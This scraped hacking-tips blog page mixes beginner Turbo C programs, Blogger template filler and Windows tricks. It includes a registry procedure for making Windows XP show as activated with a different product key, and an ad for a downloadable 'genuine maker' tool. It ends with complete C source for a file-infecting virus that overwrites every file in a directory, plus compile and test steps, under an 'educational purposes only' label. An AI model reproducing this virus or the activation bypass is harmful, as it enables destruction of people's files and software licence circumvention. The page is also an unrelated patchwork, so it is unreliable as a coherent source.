#include
#include
void main()
{
unsigned long int num;
int i=0;
clrscr();
printf(”Enter the digit\n”);
scanf(”%lu”,&num);
while(num!=0)
{
num=num/10;
++i;
}
printf(”Length=%d”,i);
getch();
}
All hacking based info for educational purpose only
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Here is a way to remove the recycle bin from your desktop.This trick help’s people who want to get rid of the recycle bin on the desktop.
1.Goto start,Run,Type “gpedit.msc” (Type without quotes)
2.On the left panel,under User Configuration expand the tree Administrative templates
3.Click on the subtree desktop (single click,do not expand it)
4.On the right panel,Select the option-Remove Recycle Bin icon from desktop properties
5.Double click the option,on the settings tab just select the option enabled,press OK & exit the window.
6.Refesh the desktop (press F5) ,Your Recycle Bin vanishous
This trick will show you how to change Windows XP product key without re-installing the operating system.This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.
1.Goto start menu,run,type regedit
2.In registry editor goto
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION\WPA EVENTS
3.In the right panel open OOBE Time
4.Edit/Change atleast one entry there,press OK and close registry editor.
5.In run type the following command
%systemroot%\system32\oobe\msoobe /a
and press enter
6.Activation wizard appears
7.Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY,enter a valid corporate product key,press OK and close the wizard
8.Reboot the computer and type the same command in the run
9.Activation wizard appears again and it shows the message WINDOWS IS ALREADY ACTIVATED.
ARE YOU BORED OF FOLLWING THOSE TEDIOUS STEPS?CONFUSED?
THEN NO PROBLEM.DOWNLOAD THIS WIN XP GENUINE MAKER THAT I HAVE CODED RECENTLY.THIS IS NEITHER A VIRUS OR TROJAN & DOES NOT HAVE MALICIOUS INTENT.A NICE TOOL FOR YOUR EASE OF USE.
Microsoft allows bypass of Vista activation
This program generates the numbers in pyramid pattern.It takes the input from two through nine and generates the numbers in the pyramid pattern.For example if the input is 4 then the program produces the following output
…
….1
1111112 2
111113 3 3
111.4 4 4 4& so on..
CODE:
#include<stdio.h>
#include<conio.h>
void main()
{
int i,n,j,x=40,y=10;
clrscr();
printf(”Enter n (between 2 & 9)\n”);
scanf(”%d”,&n);
for(i=1;i<=n;i++)
{
gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */
for(j=1;j<=i;j++)
{
printf(”%d “,i);
}
x=x-1;
y++;
}
getch();
}
This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY